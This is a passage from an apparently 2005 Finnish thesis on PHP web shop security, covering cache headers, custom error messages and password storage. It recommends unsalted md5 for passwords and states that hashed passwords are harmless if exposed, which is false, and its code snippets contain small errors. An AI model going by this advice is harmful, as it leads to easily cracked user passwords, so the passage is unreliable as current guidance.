17 useimmilla selaimilla. Se myös ohittaa kaikki käyttäjän selaimeensa tekemät asetukset. // Korjaa Explorer 6.0 selaimen bugin, joka voi ilmeta Päivitä / // Refresh-komentoa käytettäessä header("cache-control: private"); // Sivun vanhenemispäivä asetetaan menneisyyteen. Proxy "tajuaa", että // näin vanhaa sisältöä ei enää cachesta noudeta header("expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Sivu asetetaan aina päivitetyksi header("last-modified: ". gmdate("d, d M Y H:i:s"). " GMT"); // HTTP 1.1 protokollan mukaiset kiellot: ei varastoida välimuistiin, // vaaditaan uudelleenvalidointi sivulle tultaesssa, // vanhoilla sessio-tiedoilla ei pääse enää sivua katsomaan header("cache-control: no-store, no-cache, must-revalidate"); header("cache-control: post-check=0, pre-check=0", false); // Tämä otsikko toimii HTTP 1.0 protokollaa käytettäessä ja estää // välimuistiin tallentamisen header("pragma: no-cache"); Listaus 10. Välimuistin toiminnan ohjaaminen header-funktion avulla. (http://www.parse-error.com/display_page.php?page_id=124. Luettu 20.2.2005.) Header-funktiot on sijoitettava sivun alkuun ennen selaimelle lähetettävää dataa. 6.2 Virheilmoitukset PHP:n antamat virheilmoitukset ovat välttämättömiä sovelluksen kehittämisvaiheessa, mutta valmis tuote ei saisi niitä näyttää. Ensinnäkin ne sekoittavat tavallista käyttäjää ja saavat palvelun tuntumaan epäluotettavalta. Mahdollisille heikkouksien etsijälle ne tarjoavat liian informatiivista tietoa palvelun rakenteesta ja heikkouksista. Parse error: parse error, unexpected T_STRING, expecting ']' in /home/lgt/dimagia_files/content/login.php on line 39 Listaus 11. PHP:n antama virheilmoitus syntaksivirheestä.

18 PHP:n error_reporting -funktiolla voidaan säädellä, minkälaisia virheilmoituksia PHP näyttää. Jos halutaan pitää virheilmoitukset päällä, mutta estää tiettyjä funktioita tulostamasta virheilmoituksia, voidaan käyttää @-merkkiä funktion edessä. Error_log-funktiolla voidaan lähettää virhe määriteltyyn sähköpostiosoitteeseen tai tallentaa se tiedostoon. Omien virheilmoitusten käyttäminen on suositeltavaa. Alla yksinkertainen esimerkki (listaus 12), joka tulostaa itse muokatun virheilmoituksen ja lähettää oikean virheilmoituksen sähköpostilla ylläpidolle. Omista virheilmoituksista kannattaa tehdä mahdollisimman ylimalkaisia. if (mysql_query($query) == true) { echo "Kaikki OK"; else { @error_log(mysql_error($query), 1, "support@esimerkki.com"); echo "Virhe palvelussa"; Listaus 12. Omien virheilmoitusten käyttäminen 6.3 Salasanat Salasanoja ei saa tallentaa mihinkään selkokielisinä. Itse olen käyttänyt md5- funktiota salasanojen salaamiseen. Md5-funktio palauttaa 128-bittisen, 32 merkkiä pitkän heksadesimaalisen tiivisteen, sille annetusta syötteestä. Md5 on yksisuuntainen, joten sillä salattua sanaa ei voi enää muuttaa selkokieliseksi. Kun salasanat ovat salattuina näin, ei haittaa, vaikka joku pääsisikin ne näkemään. (http://fi.php.net/manual/en/function.md5.php. Luettu 20.3.2005. http://www.faqs.org/rfcs/rfc1321. Luettu 20.3.2005.) Sanan opinnäytetyö md5-tiiviste: 6129a0852daff69b695547308303f50b. Salasanojen on myös oltava tarpeeksi pitkiä ja monimutkaisia, jotta niitä ei voisi arvaamalla selvittää. Verkkokaupassani olen pakottanut käyttäjät valitsemaan sellaisen salasanan, joka koostuu vähintään seitsemästä merkistä ja sisältää